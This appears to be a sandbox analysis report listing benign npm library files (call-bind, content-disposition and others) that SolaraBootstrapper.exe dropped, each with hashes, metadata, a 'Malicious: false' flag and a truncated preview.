Preview:	{. "name": "bytes",. "description": "Utility to parse a string bytes to bytes and vice-versa",. "version": "3.1.2",. "author": "TJ Holowaychuk <tj@vision-media.ca> (http://tjholowaychuk.com)",. "contributors": [. "Jed Watson <jed.watson@me.com>",. "Th.o FIDRY <theo.fidry@gmail.com>". ],. "license": "MIT",. "keywords": [. "byte",. "bytes",. "utility",. "parse",. "parser",. "convert",. "converter". ],. "repository": "visionmedia/bytes.js",. "devDependencies": {. "eslint": "7.32.0",. "eslint-plugin-markdown": "2.2.1",. "mocha": "9.2.0",. "nyc": "15.1.0". },. "files": [. "History.md",. "LICENSE",. "Readme.md",. "index.js". ],. "engines": {. "node": ">= 0.8". },. "scripts": {. "lint": "eslint .",. "test": "mocha --check-leaks --reporter spec",. "test-ci": "nyc --reporter=lcov --reporter=text npm test",. "test-cov": "nyc --reporter=html --reporter=text npm test". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\call-bind\.eslintignore

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10
Entropy (8bit):	3.121928094887362
Encrypted:	false
SSDEEP:	3:gUKvn:2
MD5:	0549BABC2213B12C788BFEB5C47CAB97
SHA1:	8525ADBDF9AC9A497E638CC69CEDD64804151830
SHA-256:	5C5DAF48FDF4DB42E16C29B5B3DE54984BAFE0C2FF367A186CA97F1D4ED48290
SHA-512:	54B84472ABA9DC81D7B5924FB74ED962803D24D463CB58E153F354E35630E04F2613279AFF3FBA6F0E612F796108ED3DA638BD134047D90DDA0D775CDE2F7306
Malicious:	false
Preview:	coverage/.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\call-bind\.eslintrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	208
Entropy (8bit):	4.744582336034783
Encrypted:	false
SSDEEP:	3:EK8RL0x+Hf5NeVHDQLjXiVHM+OL+/FpHLL8/EzlvwR/6G+sNqR6LesNEvssTsmiF:ExL0UxNSHQytEL2pLL8alJbupsgtrQ1C
MD5:	54C723B840318EC3718E0910A34EE231
SHA1:	6AEFE8870750E237FC26246997B9F27F602B461E
SHA-256:	75B6D0B1401BED73EFD3429ED52011077425266709CF4461867D577A5B7A69F4
SHA-512:	4A5C98F96AC503CD8F88400F84DF780F1F9D9B76BB45142DF8F023E3E52371A30271EB12523B79026843D6E2C0C9C497CAE5E513D892463D5BFBFC9F7FF204AC
Malicious:	false
Preview:	{.."root": true,..."extends": "@ljharb",..."rules": {..."func-name-matching": 0,..."id-length": 0,..."new-cap": [2, {...."capIsNewExceptions": [....."GetIntrinsic",....],...}],..."no-magic-numbers": 0,..},.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\call-bind\.github\FUNDING.yml

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	580
Entropy (8bit):	4.7023374289648965
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggM60lgM01bZBgMoGbQjgMy9gMLz4MI:qoQWAg0g+H0mg6lg7g1GegJ9gEz4D
MD5:	998D321E18F24A2CA5521654FAA16E75
SHA1:	DAD7FC03C586859956314397369A6F962A3DE957
SHA-256:	A044E97E01DE6EEF53BDE25CB024443A21A04A84F339AD118031443D3427B8DB
SHA-512:	64C89A2CE91EE7A1A12D06DCA4D7AFFE732C183A64BB11F8701D04F36B657DFE0B85DD94881852975CE44BD6F9181FE4E2EF1347E6AD31C960DF1745A8D82FFC
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/call-bind.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'].

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\call-bind\.nycrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	139
Entropy (8bit):	4.461548676043605
Encrypted:	false
SSDEEP:	3:uFx3jG9UDHfa7aBA9c4RIeeFHqpvc9PNUaUifEIkHJ03WhBK:Kw9OfyFdRaB9LUiMIOJHhBK
MD5:	D0104F79F0B4F03BBCD3B287FA04CF8C
SHA1:	54F9D7ADF8943CB07F821435BB269EB4BA40CCC2
SHA-256:	997785C50B0773E5E18BF15550FBF57823C634FEFE623CD37B3C83696402AD0A
SHA-512:	DAF9B5445CFC02397F398ADFA0258F2489B70699DFEC6CA7E5B85AFE5671FDCABE59EDEE332F718F5E5778FEB1E301778DFFE93BB28C1C0914F669659BAD39C6
Malicious:	false
Preview:	{.."all": true,.."check-coverage": false,.."reporter": ["text-summary", "text", "html", "json"],.."exclude": [..."coverage",..."test"..].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\call-bind\CHANGELOG.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	8142
Entropy (8bit):	5.302938146171648
Encrypted:	false
SSDEEP:	96:E5yEmQ3y/4Gp0RJrB7Fu4gejUTB/9r4M+2c3m2CzJcRJA/7BDuC+APE:EgyRGiJ97tUTB/9Hc3nCziJA/lDbVE
MD5:	5A2F345052AEF5E2B33ECA8936670B21
SHA1:	BEF0B7EBA7753BDF0D78558D4C30CC17E9C7FC83
SHA-256:	4F80EAC971436D49BCEC11D38C28BB3BB79142B48BBB7D1A7002BFA9A6AF42B4
SHA-512:	3EC6E93F11269492EA8DBF75AABD8086352D63C8834A39B5C0C91ABBDA6708CF83A94E48B668782E349EAD5CFCF374155A1861F5AF9644CC6FC67454B4DFBAFB
Malicious:	false
Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## [v1.0.7](https://github.com/ljharb/call-bind/compare/v1.0.6...v1.0.7) - 2024-02-12..### Commits..- [Refactor] use `es-define-property` [`09b76a0`](https://github.com/ljharb/call-bind/commit/09b76a01634440461d44a80c9924ec4b500f3b03).- [Deps] update `get-intrinsic`, `set-function-length` [`ad5136d`](https://github.com/ljharb/call-bind/commit/ad5136ddda2a45c590959829ad3dce0c9f4e3590)..## [v1.0.6](https://github.com/ljharb/call-bind/compare/v1.0.5...v1.0.6) - 2024-02-05..### Commits..- [Dev Deps] update `aud`, `npmignore`, `tape` [`d564d5c`](https://github.com/ljharb/call-bind/commit/d564d5ce3e06a19df4d499c77f8d1a9da44e77aa).- [Deps] update `get-intrinsic`, `set-function-length` [`cfc2bdc`](https://github.com/ljharb/call-bind/commit/cfc2bd

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\call-bind\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	5.099362344791979
Encrypted:	false
SSDEEP:	24:tPsrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:VsaJHlxE3dQHOs5exm3ogFh
MD5:	0EB2C73DAA0ECF037CBDF3D0BB0C98D5
SHA1:	7087A92577C86806338A363A88A9A3B4F762E26D
SHA-256:	39C5EC504CF6BD5CD782A7C695828E09189DF79F5D94840E4F08FEB97B9FD416
SHA-512:	12A2A3BF2ABAFA5E3F669278EE332C87E4A164CFE54EF6019CA8B5F3D41F38F10224D52F471D0256AAD6600DEC9FB3A1EDF3C84F38CC9F1CFD4EB9A2AF8A0066
Malicious:	false
Preview:	MIT License..Copyright (c) 2020 Jordan Harband..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONN

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\call-bind\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2026
Entropy (8bit):	5.114140784282728
Encrypted:	false
SSDEEP:	48:11eI4IFO2sfqAy1D0F14m8he5pmNBWdMjChIL0IPIlv:HXFbl1A1ertLLxw1
MD5:	A172C0370CFAD43EE9849484EBCB4BA1
SHA1:	A8353B6E7999E51EDE3D5C7CC5317F75C284B96D
SHA-256:	4F7F28D688EC5FACCE77C190FD90827F923432C1B2D0D2599DF04884F68414EE
SHA-512:	9D92F0D54DE35A45B041D53F1D1FC9BF2AB475626093921950A2C81F052ACC9D0DBEC6F09376DD1386B80F08B4252F0FF6FE024A6F7B4E94A437128E5896AE84
Malicious:	false
Preview:	# call-bind <sup>[![Version Badge][npm-version-svg]][package-url]</sup>..[![github actions][actions-image]][actions-url].[![coverage][codecov-image]][codecov-url].[![dependency status][deps-svg]][deps-url].[![dev dependency status][dev-deps-svg]][dev-deps-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][npm-badge-png]][package-url]..Robustly `.call.bind()` a function...## Getting started..```sh.npm install --save call-bind.```..## Usage/Examples..```js.const assert = require('assert');.const callBind = require('call-bind');.const callBound = require('call-bind/callBound');..function f(a, b) {..assert.equal(this, 1);..assert.equal(a, 2);..assert.equal(b, 3);..assert.equal(arguments.length, 2);.}..const fBound = callBind(f);..const slice = callBound('Array.prototype.slice');..delete Function.prototype.call;.delete Function.prototype.bind;..fBound(1, 2, 3);..assert.deepEqual(slice([1, 2, 3, 4], 1, -1), [2, 3]);.```..## Tests..Clon

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\call-bind\callBound.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	413
Entropy (8bit):	4.865834361159882
Encrypted:	false
SSDEEP:	12:9RQtNVkJicBLj/dXeRtxt/vbZab1ytMIFRp:9GtNVkDBL7VeZxj8AjHp
MD5:	FDA064FEFAEB89252271922954D69A4F
SHA1:	7BAC1561B456A282ABE97CB9BC4E5E0D8A10E769
SHA-256:	2B2FCE7622FDD680256D28BCD59C30913546A825BF69D754D21A1D21CCC2928C
SHA-512:	B0746C9DC90BB513E7D6190470CE0ACBB0C2059B97184B9391F581E9A490729669C8479BA8EAAFC1980F4E058A396BAD11031D048387B5223A7B4B9E6A4B1DAE
Malicious:	false
Preview:	'use strict';..var GetIntrinsic = require('get-intrinsic');..var callBind = require('./');..var $indexOf = callBind(GetIntrinsic('String.prototype.indexOf'));..module.exports = function callBoundIntrinsic(name, allowMissing) {..var intrinsic = GetIntrinsic(name, !!allowMissing);..if (typeof intrinsic === 'function' && $indexOf(name, '.prototype.') > -1) {...return callBind(intrinsic);..}..return intrinsic;.};.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\call-bind\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1037
Entropy (8bit):	5.032586686387531
Encrypted:	false
SSDEEP:	24:hKfkGth9cZxghgZuxyU4q+SE9UB8wZ6dAdwBBBq+f7uBK:S9cDbXSgUKwZSzEkuM
MD5:	40109FA1AADE9C89C9587E77011F7301
SHA1:	91F8EAF2FBA5EE5C36E33207FEECEEE846C3E04A
SHA-256:	6B4EA26F8CA351CEE55DA416500FFCA72FDB14EB5909F1512CE8CA68E47D7621
SHA-512:	D308A91B496C9FBD2DB7D8B907D660142172342E990755093D892CF2B8382504119593BB83882F37DB71E925803C37B9B098EDC748F09EB6DC3F84B8DCC28F9B
Malicious:	false
Preview:	'use strict';..var bind = require('function-bind');.var GetIntrinsic = require('get-intrinsic');.var setFunctionLength = require('set-function-length');..var $TypeError = require('es-errors/type');.var $apply = GetIntrinsic('%Function.prototype.apply%');.var $call = GetIntrinsic('%Function.prototype.call%');.var $reflectApply = GetIntrinsic('%Reflect.apply%', true) \|\| bind.call($call, $apply);..var $defineProperty = require('es-define-property');.var $max = GetIntrinsic('%Math.max%');..module.exports = function callBind(originalFunction) {..if (typeof originalFunction !== 'function') {...throw new $TypeError('a function is required');..}..var func = $reflectApply(bind, $call, arguments);..return setFunctionLength(...func,...1 + $max(0, originalFunction.length - (arguments.length - 1)),...true..);.};..var applyBind = function applyBind() {..return $reflectApply(bind, $apply, arguments);.};..if ($defineProperty) {..$defineProperty(module.exports, 'apply', { value: applyBind });.} else {.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\call-bind\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2304
Entropy (8bit):	5.108456799286217
Encrypted:	false
SSDEEP:	48:7uhURYCMuUkagS4YhylyRYsEg4lNKrvnTPKsIMoU3wdeSowCL:ACMuDYE3MnTPKYoU3wYZ
MD5:	7327C5E04C116460B3C73EE92292269A
SHA1:	106489D54A0669A5271C89F87F2072CFB8E66C4F
SHA-256:	E8FC7600526CC041BFCD3A562E6CFDB53952A7F7FB4FCC899949E4C51C586155
SHA-512:	93F2327154E59B1F6FA2F55659FD5A8BAE1DA6CB4DC2EA5EF736ED6ABBCBB2840286BE9346BEA22A3DD52371AC842870BD388DCC1E5B673696BC0CAD868422D8
Malicious:	false
Preview:	{.."name": "call-bind",.."version": "1.0.7",.."description": "Robustly `.call.bind()` a function",.."main": "index.js",.."exports": {...".": "./index.js",..."./callBound": "./callBound.js",..."./package.json": "./package.json"..},.."scripts": {..."prepack": "npmignore --auto --commentLines=auto",..."prepublish": "not-in-publish \|\| npm run prepublishOnly",..."prepublishOnly": "safe-publish-latest",..."lint": "eslint --ext=.js,.mjs .",..."postlint": "evalmd README.md",..."pretest": "npm run lint",..."tests-only": "nyc tape 'test/*/.js'",..."test": "npm run tests-only",..."posttest": "aud --production",..."version": "auto-changelog && git add CHANGELOG.md",..."postversion": "auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git tag -f \"v$(node -e \"console.log(require('./package.json').version)\")\""..},.."repository": {..."type": "git",..."url": "git+https://github.com/ljharb/call-bind.git"..},.."keywords": [..."javascript",..."ecmascript",..."es",..."js",..."c

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\call-bind\test\callBound.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2349
Entropy (8bit):	4.9384353402173575
Encrypted:	false
SSDEEP:	48:jjgT+XH8urjwT6fH8gxH8TIfH8W5j1kH8TUULgTH8W+gSFMSH8//8vUMeXkMebHm:8+XHXrA6fHTxHAIfHl5iHuUUWHDg5Hgj
MD5:	6C09DA27D70F11BE33C5BC1D70FE5860
SHA1:	B21805BE0C0DB457D1364ABE0103BA75A56FE66F
SHA-256:	67DA6DE7EA66108EA3F035648B367CB8BF7DAC8148B798A54B5B9DE8F7F6EF65
SHA-512:	8DD6654332B5660D787616252CA231283A6406DAE97E8F07E88FFACC2F8A0B38C0BFE1AEE5C5A734B4CB507EA51357CEF2BFE226F4CAB09D57C74D053F80C126
Malicious:	false
Preview:	'use strict';..var test = require('tape');..var callBound = require('../callBound');..test('callBound', function (t) {..// static primitive..t.equal(callBound('Array.length'), Array.length, 'Array.length yields itself');..t.equal(callBound('%Array.length%'), Array.length, '%Array.length% yields itself');...// static non-function object..t.equal(callBound('Array.prototype'), Array.prototype, 'Array.prototype yields itself');..t.equal(callBound('%Array.prototype%'), Array.prototype, '%Array.prototype% yields itself');..t.equal(callBound('Array.constructor'), Array.constructor, 'Array.constructor yields itself');..t.equal(callBound('%Array.constructor%'), Array.constructor, '%Array.constructor% yields itself');...// static function..t.equal(callBound('Date.parse'), Date.parse, 'Date.parse yields itself');..t.equal(callBound('%Date.parse%'), Date.parse, '%Date.parse% yields itself');...// prototype primitive..t.equal(callBound('Error.prototype.message'), Error.prototype.message, 'Error.pro

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\call-bind\test\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3839
Entropy (8bit):	5.047899867943229
Encrypted:	false
SSDEEP:	48:Szw7b+suTX9wDg5JwOhalZw0T9JMXPPPvPBMAZFEqjFEuUcghD7GmypPW:1teXLhalZw0xJMJM6FEUFEvDCNk
MD5:	1D142C2D932051D54112BEA94FF6142A
SHA1:	A1346CE0B0477686C27C61C025285E591A49D95A
SHA-256:	C5CE4BFC6EAC66A6073F5C59868D1E9220C9F4E5CA5033CCFDD2D515D661D13D
SHA-512:	AF5F6F4E40EA030FC645BF1167DDF0157C8AAD1B060DF3A99B1EA322EB4E739E68E67CF9482131E9DA0771BFAA15E4903F696BE8913770C4A9DA589B7734C353
Malicious:	false
Preview:	'use strict';..var callBind = require('../');.var bind = require('function-bind');.var gOPD = require('gopd');.var hasStrictMode = require('has-strict-mode')();.var forEach = require('for-each');.var inspect = require('object-inspect');.var v = require('es-value-fixtures');..var test = require('tape');../. older engines have length nonconfigurable. * in io.js v3, it is configurable except on bound functions, hence the .bind(). */.var functionsHaveConfigurableLengths = !!(..gOPD..&& Object.getOwnPropertyDescriptor..&& Object.getOwnPropertyDescriptor(bind.call(function () {}), 'length').configurable.);..test('callBind', function (t) {..forEach(v.nonFunctions, function (nonFunction) {...t['throws'](....function () { callBind(nonFunction); },....TypeError,....inspect(nonFunction) + ' is not a function'...);..});...var sentinel = { sentinel: true };..var func = function (a, b) {...// eslint-disable-next-line no-invalid-this...return [!hasStrictMode && this === global ? undefined : this,

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\content-disposition\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1020
Entropy (8bit):	4.5877129982951255
Encrypted:	false
SSDEEP:	24:Bcv+MQU7HwJLc0Iwokt4ITWKAG4sEbI8lzd:BCQow0RIrLEI8Zd
MD5:	E8D0052290F58360AB7171937E407618
SHA1:	1DDB50C5AAC3E31107C3D5B245E4910FAB2CB9C9
SHA-256:	A4D8777EEE00A49A897E8ED80B8DEAEE05915106D03A5B652E0ED1CA5BD605FD
SHA-512:	AF3ED543FF9894CE3BE019DE8E88825BF71F167C5714F1DA9F65A9E5C02E6CB63463373C216F492867F0C8574B76DC033B2464EBE1C0F9FB4A75D7106A5B7C41
Malicious:	false
Preview:	0.5.4 / 2021-12-10.==================.. * deps: safe-buffer@5.2.1..0.5.3 / 2018-12-17.==================.. * Use `safe-buffer` for improved Buffer API..0.5.2 / 2016-12-08.==================.. * Fix `parse` to accept any linear whitespace character..0.5.1 / 2016-01-17.==================.. * perf: enable strict mode..0.5.0 / 2014-10-11.==================.. * Add `parse` function..0.4.0 / 2014-09-21.==================.. * Expand non-Unicode `filename` to the full ISO-8859-1 charset..0.3.0 / 2014-09-20.==================.. * Add `fallback` option. * Add `type` option..0.2.0 / 2014-09-19.==================.. * Reduce ambiguity of file names with hex escape in buggy browsers..0.1.2 / 2014-09-19.==================.. * Fix periodic invalid Unicode filename header..0.1.1 / 2014-09-19.==================.. * Fix invalid characters appearing in `filename` parameter..0.1.0 / 2014-09-18.==================.. Make the `filename` argument optional..0.0.0 / 2014-09-18.==================..

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\content-disposition\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	5.1284116326456815
Encrypted:	false
SSDEEP:	24:0iJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:0iJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	13BABC4F212CE635D68DA544339C962B
SHA1:	4881AD2EC8EB2470A7049421047C6D076F48F1DE
SHA-256:	BD47CE7B88C7759630D1E2B9FCFA170A0F1FDE522BE09E13FB1581A79D090400
SHA-512:	40E30174433408E0E2ED46D24373B12DEF47F545D9183B7BCE28D4DDD8C8BB528075C7F20E118F37661DB9F1BBA358999D81A14425EB3E0A4A20865DFCB53182
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014-2017 Douglas Christopher Wilson..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,.TORT OR OTHERWISE, ARISING

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\content-disposition\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	5205
Entropy (8bit):	5.075920246999701
Encrypted:	false
SSDEEP:	96:eXCnQ5B17X/AU4M58ZBB/WfUt41lFXTpGa+O/iOu:eyAFXz58ZBMT1l9bru
MD5:	CBD415AE5E4605F9CE13640C323D8AAF
SHA1:	E1D109D584A63DE2418ADFD8FB59B298D0D9368E
SHA-256:	871C5EC648B67AD1A5791C6C4F95E5BB5DF78ECC9AAE0A3387E2A08E068C6968
SHA-512:	4454179D3DDEEB49393DF168DB1867D19054C44B60E1DA5FF5555D26A8F0BA9CC5F3D5DADCE76EBCF0110924C440A10E01969FF701076A38A2FF8673DB6325D9
Malicious:	false
Preview:	# content-disposition..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Node.js Version][node-version-image]][node-version-url].[![Build Status][github-actions-ci-image]][github-actions-ci-url].[![Test Coverage][coveralls-image]][coveralls-url]..Create and parse HTTP `Content-Disposition` header..## Installation..```sh.$ npm install content-disposition.```..## API..```js.var contentDisposition = require('content-disposition').```..### contentDisposition(filename, options)..Create an attachment `Content-Disposition` header value using the given file name,.if supplied. The `filename` is optional and if no file name is desired, but you.want to specify `options`, set `filename` to `undefined`...```js.res.setHeader('Content-Disposition', contentDisposition('. maths.pdf')).```..note HTTP headers are of the ISO-8859-1 character set. If you are writing this.header through a means different from `setHeader` in Node.js, you'll want to specify.the `

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\content-disposition\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10594
Entropy (8bit):	5.209240051881824
Encrypted:	false
SSDEEP:	192:NnPSCe5ZBHNVzX1t6/khk3bnEm+4qcVupDAGJvyAJK:NnPSD5ZBttXbMqenircgDAwrK
MD5:	43A307FF7DE26DBEC523EC966C434F94
SHA1:	ED7F187B72A7B1F81D113BAD5AA9347C242120D5
SHA-256:	E86A88A5D1A9DD74FAA753CA4E47A78E38AE930F3206E5E887CF6CB0AD70CBF8
SHA-512:	79C073D3F0DEA6C1606029B9A476CDCE30EBBFB7B6CA95935A2E3F2CC97E70F3F00DBE8B7067BEEA78DAE120F4941E60A7AA26592CFF18E5CDF56F335127092D
Malicious:	false
Preview:	/!. content-disposition. * Copyright(c) 2014-2017 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module exports.. * @public. /..module.exports = contentDisposition.module.exports.parse = parse../. Module dependencies.. * @private. /..var basename = require('path').basename.var Buffer = require('safe-buffer').Buffer../. RegExp to match non attr-char, after encodeURIComponent (i.e. not including "%"). * @private. /..var ENCODE_URL_ATTR_CHAR_REGEXP = /[\x00-\x20"'(),/:;<=>?@[\\\]{}\x7f]/g // eslint-disable-line no-control-regex../*. RegExp to match percent encoding escape.. * @private. /..var HEX_ESCAPE_REGEXP = /%[0-9A-Fa-f]{2}/.var HEX_ESCAPE_REPLACE_REGEXP = /%([0-9A-Fa-f]{2})/g../. RegExp to match non-latin1 characters.. * @private. /..var NON_LATIN1_REGEXP = /[^\x20-\x7e\xa0-\xff]/g../. RegExp to match quoted-pair in RFC 2616. . quoted-pair = "\" CHAR. * CHAR = <any US-ASCII character (octets 0 - 127)>. * @private. */..var

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\content-disposition\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1200
Entropy (8bit):	4.797533045353308
Encrypted:	false
SSDEEP:	24:LAXr1C7Fwxwk0nuNAeRIZBYWiRcBjZKly8e1xyy:cRz0nuNAeRIz/Cejojg9
MD5:	5B285D4DB057E7E72225E8E928D2FFA3
SHA1:	1B871FFAEFE2A1FD69AA9B1538B4003BF0EAE9AB
SHA-256:	2459C0E8FBEB5716AB06E9EF73747BBA46ED2BC52E310BD4E9F0EF1F102DA61F
SHA-512:	DFE71AB6BCF40F32A26273A94F11439CBE3066BC3216061EE6EA9737D57B1CABF03A0E45B2FC50C4D0097A27E09197C7FD2B60090A91876671D2C709F31A29A4
Malicious:	false
Preview:	{. "name": "content-disposition",. "description": "Create and parse Content-Disposition header",. "version": "0.5.4",. "author": "Douglas Christopher Wilson <doug@somethingdoug.com>",. "license": "MIT",. "keywords": [. "content-disposition",. "http",. "rfc6266",. "res". ],. "repository": "jshttp/content-disposition",. "dependencies": {. "safe-buffer": "5.2.1". },. "devDependencies": {. "deep-equal": "1.0.1",. "eslint": "7.32.0",. "eslint-config-standard": "13.0.1",. "eslint-plugin-import": "2.25.3",. "eslint-plugin-markdown": "2.2.1",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "5.2.0",. "eslint-plugin-standard": "4.1.0",. "istanbul": "0.4.5",. "mocha": "9.1.3". },. "files": [. "LICENSE",. "HISTORY.md",. "README.md",. "index.js". ],. "engines": {. "node": ">= 0.6". },. "scripts": {. "lint": "eslint .",. "test": "mocha --reporter spec --bail --check-leaks test/",. "test-ci": "istanbul co

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\content-type\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	523
Entropy (8bit):	4.497411680418859
Encrypted:	false
SSDEEP:	12:qX/whj2jbTj9ULZraEosaOQvBWgOT6rBTL:4whj4bvu9+iQBTL
MD5:	34C07BE57678E4FAB909ACB803F60BF3
SHA1:	7849515D1EAE1E583BE632399E4FEC61B1221DA2
SHA-256:	A8B6514926048A9BFAD6C058A3F374797D1A752B47D00B03B34FF61D093A3B5D
SHA-512:	14266B3992794E959E6CED09AEF48912F87A8F59DD6070CECC923D5CA86B9EB4821F2FE5EB5078C01DB832EE9FF58F6CA70AE687A9E1D1DE6144CAFE44A0F6CA
Malicious:	false
Preview:	1.0.5 / 2023-01-29.==================.. * perf: skip value escaping when unnecessary..1.0.4 / 2017-09-11.==================.. * perf: skip parameter parsing when no parameters..1.0.3 / 2017-09-10.==================.. * perf: remove argument reassignment..1.0.2 / 2016-05-09.==================.. * perf: enable strict mode..1.0.1 / 2015-02-13.==================.. * Improve missing `Content-Type` header error message..1.0.0 / 2015-02-01.==================.. * Initial implementation, derived from `media-typer@0.3.0`.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\content-type\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1089
Entropy (8bit):	5.104507231535383
Encrypted:	false
SSDEEP:	24:OiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:OiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	F4B767F006864F81A4901347FE4EFDAB
SHA1:	30FE93B3231DBDB9A122CF57C2C9A2AB28CEF682
